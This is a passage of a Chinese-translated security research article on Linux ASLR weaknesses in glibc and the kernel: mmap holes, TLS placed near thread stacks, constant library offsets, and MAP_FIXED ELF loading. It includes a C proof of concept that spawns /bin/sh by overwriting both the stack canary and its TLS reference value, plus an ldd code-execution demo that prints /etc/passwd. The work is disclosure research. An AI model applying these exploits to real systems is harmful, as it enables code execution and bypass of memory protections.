openat(AT_FDCWD, “/etc/ld.so.cache”, O_RDONLY|O_CLOEXEC) = 3
mmap(NULL, 79806, PROT_READ, MAP_PRIVATE, 3, 0) = 0×7fa5fd8bc000

mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0×7fa5fd8ba000
arch_prctl(ARCH_SET_FS, 0×7fa5fd8bb500) = 0
munmap(0×7fa5fd8bc000, 79806) = 0

openat(AT_FDCWD, “/proc/self/maps”, O_RDONLY) = 3
mmap(NULL, 139264, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0×7fa5fd898000

560d3c3e5000-560d3c3ed000 r-xp 00000000 08:01 1966104 /bin/cat
560d3c5ec000-560d3c5ed000 r–p 00007000 08:01 1966104 /bin/cat
560d3c5ed000-560d3c5ee000 rw-p 00008000 08:01 1966104 /bin/cat
560d3e00b000-560d3e02c000 rw-p 00000000 00:00 0 [heap]
7fa5fcebc000-7fa5fd2c9000 r–p 00000000 08:01 3016021 /usr/lib/locale/locale-archive
7fa5fd2c9000-7fa5fd49f000 r-xp 00000000 08:01 1179731 /lib/x86_64-linux-gnu/libc-2.26.so
7fa5fd49f000-7fa5fd69f000 —p 001d6000 08:01 1179731 /lib/x86_64-linux-gnu/libc-2.26.so
7fa5fd69f000-7fa5fd6a3000 r–p 001d6000 08:01 1179731 /lib/x86_64-linux-gnu/libc-2.26.so
7fa5fd6a3000-7fa5fd6a5000 rw-p 001da000 08:01 1179731 /lib/x86_64-linux-gnu/libc-2.26.so
7fa5fd6a5000-7fa5fd6a9000 rw-p 00000000 00:00 0
7fa5fd6a9000-7fa5fd6d0000 r-xp 00000000 08:01 1179654 /lib/x86_64-linux-gnu/ld-2.26.so
7fa5fd898000-7fa5fd8bc000 rw-p 00000000 00:00 0
7fa5fd8d0000-7fa5fd8d1000 r–p 00027000 08:01 1179654 /lib/x86_64-linux-gnu/ld-2.26.so
7fa5fd8d1000-7fa5fd8d2000 rw-p 00028000 08:01 1179654 /lib/x86_64-linux-gnu/ld-2.26.so
7fa5fd8d2000-7fa5fd8d3000 rw-p 00000000 00:00 0
7ffc0a6bc000-7ffc0a6dd000 rw-p 00000000 00:00 0 [stack]
7ffc0a730000-7ffc0a733000 r–p 00000000 00:00 0 [vvar]
7ffc0a733000-7ffc0a735000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
munmap(0×7fa5fd898000, 139264) = 0
+++ exited with 0 +++

这里“/etc/ld.so.cache”通过mmap映射到了0×7fa5fd8bc000,即ld-2.26.so内部的hole上。稍后调用mmap获取大小为8192的0×7fa5fd8ba000地址。此范围包含主线程的TCB(线程控制块)结构,设置为arch_prctl(ARCH_SET_FS, 0×7fa5fd8bb500)。在调用“cat”程序的“main”函数之前,0×7fa5fd8bc000未映射,在tcb和ld只读段之间留下了另一个hole。

这两个hole:
1.在ld.text和0×7fa5fd8ba000之间,TCB使用的是什么。
2.在0×7fa5fd8bc000(TCB的结束)和ld.rdOnly之间,如果攻击者在这些漏洞中执行mmap之后容易遭受攻击对象(只需指定大小)并使用读/写超出限制的漏洞来访问LD数据或TCB或任何其他库数据,则可能使用该漏洞绕过ASLR。

以‘/self/proc/map’本身为例,它被mmap到0×7fa5fd898000的hole中。
在用户态调用mmap的另一种方法是使用长度很大的malloc调用。本例中是glibc的malloc调用的mmap。

=====================================================
ii.5. TLS和线程栈
=====================================================

线程本地存储(TLS)是一种机制,在这种机制中,多线程进程中的每个线程都可以为数据存储分配位置[10]。该机制在不同的体系结构和操作系统上实现不同。在我们的示例中,这是x86-64下的glibc实现。对于x86来说,对于所讨论的mmap问题,任何差异都不会是实质性的。

对于glibc的代码来说,mmap也用于创建TLS。这意味着TLS也是按照这里已经描述的方式选择的。如果TLS接近易受攻击的对象,则可以对其进行更改。

TLS有什么有趣的?在glibc实现中,段寄存器fs(对于x86-64体系结构)指向TLS。其结构由glibc源文件中定义的tcbhead_t类型描述:

typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;

} tcbhead_t;

这种类型包含字段Stack_看板,它包含一个所谓的canary——一个随机或伪随机的数字,用于保护应用程序免受栈溢出[11]的影响。
这种保护的工作方式如下:当输入一个函数时,从tcbhead_t.stack_guard 获得的一个canary被放置在栈上。在函数的末尾,将栈值与tcbhead_t.stack_guard中的引用值进行比较。如果两个值不匹配,应用程序将返回错误并终止。

可以通过几种方式绕过canary:

-如果攻击者不需要覆盖此值[12]。
-如果攻击者设法读取或预期该值,则有可能执行成功的攻击[12]。
-如果攻击者能够用已知值覆盖此值,则可能导致栈溢出[12]。
-攻击者可以在应用程序终止[13]之前进行控制。
-列出的旁路突出了保护TLS不被攻击者读取或覆盖的重要性。

我们的研究表明,glibc对于使用pthread_create创建的线程来说,在TLS实现中存在一个问题。假设需要为新线程选择TLS。为堆栈分配内存后,glibc。
在此内存的上层地址初始化TLS。在这里考虑的x86-64体系结构上,堆栈向下增长,将TLS放在堆栈的顶部。
从TLS中减去某个常量值,得到一个新线程用于栈寄存器的值。从TLS到参数传递给pthread_create的函数的栈帧的距离小于一页。

现在,一个可能的攻击者不需要猜测或窃取canary-攻击者只需将引用值与栈值一起覆盖,就可以完全绕过保护。在Intel ME[14]中也发现了类似的问题。

以下是概念的证明:

void pwn_payload() {
char *argv[2] = {”/bin/sh”, 0};
execve(argv[0], argv, 0);
}

int fixup = 0;
void * first(void *x)
{
unsigned long *addr;
arch_prctl(ARCH_GET_FS, &addr);
printf(”thread FS %pn”, addr);
printf(”cookie thread: 0x%lxn”, addr[5]);
unsigned long * frame = __builtin_frame_address(0);
printf(”stack_cookie addr %p n”, &frame[-1]);
printf(”diff : %lxn”, (char*)addr - (char*)&frame[-1]);
unsigned long len =(unsigned long)( (char*)addr - (char*)&frame[-1]) +
fixup;
// example of exploitation
// prepare exploit
void *exploit = malloc(len);
memset(exploit, 0×41, len);
void *ptr = &pwn_payload;
memcpy((char*)exploit + 16, &ptr, 8);
// exact stack-buffer overflow example
memcpy(&frame[-1], exploit, len);
return 0;
}

int main(int argc, char **argv, char **envp)
{
pthread_t one;
unsigned long *addr;
void *val;
arch_prctl(ARCH_GET_FS, &addr);
if (argc > 1)
fixup = 0×30;
printf(”main FS %pn”, addr);
printf(”cookie main: 0x%lxn”, addr[5]);
pthread_create(&one, NULL, &first, 0);
pthread_join(one,&val);
return 0;
}

运行它:

blackzert@…sher:~/aslur/tests$ ./thread_stack_tls 1
main FS 0×7f4d94b75700
cookie main: 0×2ad951d602d94100
thread FS 0×7f4d94385700
cookie thread: 0×2ad951d602d94100
stack_cookie addr 0×7f4d94384f48
diff : 7b8
$ ^D
blackzert@…sher:~/aslur/tests$

`Diff`这里是当前堆栈帧和TCB结构之间以字节为单位的大小。
这个等于0×7b8字节,少了一页。
缓冲区溢出可以绕过缓冲区溢出的保护。

=====================================================
ii.6.malloc和mmap。
=====================================================

在使用malloc时,如果请求的内存的大小大于某个值,则glibc有时会使用mmap来分配新的内存区域。在这种情况下,内存将在mmap的帮助下分配,因此,在内存分配之后,地址将接近使用mmap分配的库或其他数据。
攻击者密切关注堆对象处理中的错误,例如堆溢出、释放后使用[15]和类型混淆[5]。

当程序使用pthread_create时,会发现glibc库有一个有趣的行为。在第一次从用pthread_create创建的线程调用malloc时,glibc将调用mmap为这个堆栈创建一个新堆。因此,在这个线程中,通过malloc调用的所有地址都将位于同一个线程的堆栈附近。

一些程序和库使用mmap将文件映射到进程的地址空间。例如,这些文件可用作高速缓存或用于快速保存(改变)驱动器上的数据。

下面是一个抽象的示例:应用程序在mmap的帮助下加载MP3文件。让我们调用加载地址mmap_mp3。然后,应用程序从加载的数据读取到音频数据开始的偏移量。如果应用程序在其例行程序中包含验证该值长度的错误,则攻击者可以专门创建一个MP3文件,该文件能够访问mmap_mp3之后的内存区域。

Some PoC code:

int main(int argc, char **argv, char **envp)
{
int res;
system(”"); // call to make lazy linking
execv(”", NULL); // call to make lazy linking
unsigned long addr = (unsigned long)mmap(0, 8 * 4096 *4096, 3, MAP_ANON |
MAP_PRIVATE, -1, 0);
if (addr == MAP_FAILED)
return -1;
unsigned long addr_system = (unsigned long)dlsym(RTLD_NEXT, “system”);
unsigned long addr_execv = (unsigned long)dlsym(RTLD_NEXT, “execv”);
printf(”addr %lx system %lx execv %lxn”, addr, addr_system, addr_execv);
printf(”system - addr %lx execv - addr %lxn”, addr_system - addr,
addr_execv - addr);
return 0;
}

And results:
blackzert@…sher:~/aslur/tests$ ./mmap_libc
addr 7f02e9f85000 system 7f02f1fca390 execv 7f02f2051860
system - addr 8045390 execv - addr 80cc860

这显示了从mmap段到链接库数据的常量偏移(malloc也是这样)。

=====================================================
ii.7. MAP_FIXED的情况下ET_DYN ELF文件的加载。
=====================================================

mmap手册中关于MAP_FIXED式标志的说明如下:

MAP_FIXED

不要将addr解释为hint:一定要将映射放置在准确的地址。
addr必须是页大小的倍数。如果addr和len指定的内存区域与任何现有映射的页面重叠,则现有映射的重叠部分将被丢弃。如果无法使用指定的地址,mmap()将失败。由于映射需要固定地址的可移植性较低,因此不鼓励使用此选项。

如果带有MAP_FIXED标志的请求区域与现有区域重叠,则成功执行mmap将覆盖现有区域。

因此,如果程序员错误地使用MAP_FIXED,则可能会重新定义现有的内存区域。

在Linux内核和glibc中都发现了这样一个错误的有趣示例。
如[16]所述,ELF文件必须符合以下要求:在Phdr头中,ELF文件段必须按vaddr地址的升序排列:

PT_LOAD。

数组元素指定一个可加载的段,由p_filesz、p_memsz描述。文件中的字节映射到内存段的开头。
如果段的内存大小(p_memsz)大于文件大小(p_filesz),则定义“额外”字节来保存值0并跟踪段的初始化区域。文件大小不能大于内存大小。
程序头表中的可加载段条目按升序显示,在p_vaddr成员上排序。

但是,这一要求没有被检查。ELF文件加载的(作者写作时)最新代码如下:

case PT_LOAD:
struct loadcmd *c = &loadcmds[nloadcmds++];
c->mapstart = ALIGN_DOWN (ph->p_vaddr, GLRO(dl_pagesize));
c->mapend = ALIGN_UP (ph->p_vaddr + ph->p_filesz, GLRO(dl_pagesize));

maplength = loadcmds[nloadcmds - 1].allocend - loadcmds[0].mapstart;

for (const struct loadcmd *c = loadcmds; c < &loadcmds[nloadcmds]; ++c)
...
/* Map the segment contents from the file. */
if (__glibc_unlikely (__mmap ((void *) (l->l_addr + c->mapstart),
maplen, c->prot,
MAP_FIXED|MAP_COPY|MAP_FILE,
fd, c->mapoff)

所有段都按照以下算法处理:

1.计算加载的ELF文件的大小:最后一个段结束的地址减去第一个段的开始地址。
2.在mmap的帮助下,为这个大小的整个ELF文件分配内存,从而获得ELF文件加载的基本地址。
3.对于glibc,更改访问权限。如果从内核加载,释放造成漏洞的区域。这里,glibc和Linux内核的行为不同,如第4.4节所述。
4.借助mmap和MMAP_FIXED标志,通过使用通过隔离第一段获得的地址和添加从ELF文件头获得的偏移量来分配剩余段的内存。

这使入侵者能够创建一个恶意ELF文件,其中一个段可以完全覆盖现有的内存区域,例如线程的栈、堆或库代码。

易受攻击的应用程序的一个例子是LDD工具,该工具用于检查系统中是否存在所需的库:

blackzert@…sher:~/aslur/tests/evil_elf$ ldd ./main
linux-vdso.so.1 => (0×00007ffc48545000)
libevil.so => ./libevil.so (0×00007fbfaf53a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0×00007fbfaf14d000)
/lib64/ld-linux-x86-64.so.2 (0×000055dda45e6000)

该工具使用ld解释器。利用刚才讨论的ELF文件加载问题,我们成功地使用LDD执行了任意代码:

blackzert@…sher:~/aslur/tests/evil_elf$ ldd ./main
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
blackzert@…sher:~/aslur/tests/evil_elf$

在之前的Linux社区中也提出过MAP_FIXED的问题[17]。

by blast